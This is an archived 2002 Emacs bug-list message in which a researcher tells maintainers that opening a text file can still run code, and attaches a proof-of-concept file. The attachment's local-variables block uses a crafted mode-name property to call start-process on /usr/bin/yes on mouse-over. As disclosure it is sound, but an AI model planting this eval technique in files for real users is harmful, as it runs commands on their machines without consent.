From mboxrd@z Thu Jan 1 00:00:00 1970 Path: main.gmane.org!not-for-mail From: Georgi Guninski Newsgroups: gmane.emacs.bugs Subject: Re: security problem in emacs Date: Tue, 31 Dec 2002 16:47:21 +0200 Sender: bug-gnu-emacs-bounces+gnu-bug-gnu-emacs=m.gmane.org@gnu.org Message-ID: <3E11ADF9.3070902@guninski.com> References: <84znqm8f1k.fsf@lucy.cs.uni-dortmund.de> Reply-To: guninski@guninski.com NNTP-Posting-Host: main.gmane.org Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="------------070804010600020200000909" X-Trace: main.gmane.org 1041346049 16497 80.91.224.249 (31 Dec 2002 14:47:29 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 31 Dec 2002 14:47:29 +0000 (UTC) Cc: bug-gnu-emacs@gnu.org Return-path: Original-Received: from monty-python.gnu.org ([199.232.76.173]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 18TNfz-0004Hp-00 for ; Tue, 31 Dec 2002 15:47:27 +0100 Original-Received: from localhost ([127.0.0.1] helo=monty-python.gnu.org) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18TNgI-0005oC-01 for gnu-bug-gnu-emacs@m.gmane.org; Tue, 31 Dec 2002 09:47:46 -0500 Original-Received: from list by monty-python.gnu.org with tmda-scanned (Exim 4.10.13) id 18TNfr-0005WI-00 for bug-gnu-emacs@gnu.org; Tue, 31 Dec 2002 09:47:19 -0500 Original-Received: from mail by monty-python.gnu.org with spam-scanned (Exim 4.10.13) id 18TNfk-0005Hw-00 for bug-gnu-emacs@gnu.org; Tue, 31 Dec 2002 09:47:15 -0500 Original-Received: from home.ntrl.net ([194.12.224.34]) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18TNfi-0005AW-00 for bug-gnu-emacs@gnu.org; Tue, 31 Dec 2002 09:47:11 -0500 Original-Received: from guninski.com ([194.12.248.247]) by home.ntrl.net (8.9.1/Config) with ESMTP id QAA19345; Tue, 31 Dec 2002 16:46:38 +0200 User-Agent: Mozilla/5.0 (X11; Linux) X-Accept-Language: en-us, en Original-To: =?ISO-8859-1?Q?Kai_Gro=DFjohann?= In-Reply-To: X-MailScanner: Found to be clean X-BeenThere: bug-gnu-emacs@gnu.org X-Mailman-Version: 2.1b5 Precedence: list List-Id: Bug reports for GNU Emacs, the Swiss army knife of text editors List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Errors-To: bug-gnu-emacs-bounces+gnu-bug-gnu-emacs=m.gmane.org@gnu.org Xref: main.gmane.org gmane.emacs.bugs:4120 X-Report-Spam: http://spam.gmane.org/gmane.emacs.bugs:4120 This is a multi-part message in MIME format. --------------070804010600020200000909 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit Kai Gro?johann wrote: > Georgi Guninski writes: > > > >Attached file demonstrates GNU Emacs 21.2.1 starting process if a text > >file is opened. Just open it with emacs and check for processes "yes". > > > This has been fixed in the development sources. The user is asked > whether to execute the Lisp code. > > Alas, this has not been fixed in the 21.3 pretest. Is the new attached file also fixed? It requires mouse over text. I suggest you disable local variables by default - they are not portable and some people use emacs for examining untrusted log files or read mail. georgi --------------070804010600020200000909 Content-Type: text/plain; name="emacs2.emacs" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="emacs2.emacs" /* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */ Emacs better than windoze. Mouse over the modeline, then check for started yes. ;;; Local Variables: *** ;;; mode: text *** ;;; mode-name: #("MOUSE OVER ME " 0 10 (local-map (keymap (header-line (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes")) (down-mouse-3 . mode-line-mode-menu-1)) (mode-line keymap (down-mouse-3 . mode-line-mode-menu-1))) help-echo (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes")) ) ) *** ;;; comment-start: ";;; " *** ;;; comment-end:"***" *** ;;; End: *** --------------070804010600020200000909 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit _______________________________________________ Bug-gnu-emacs mailing list Bug-gnu-emacs@gnu.org http://mail.gnu.org/mailman/listinfo/bug-gnu-emacs --------------070804010600020200000909--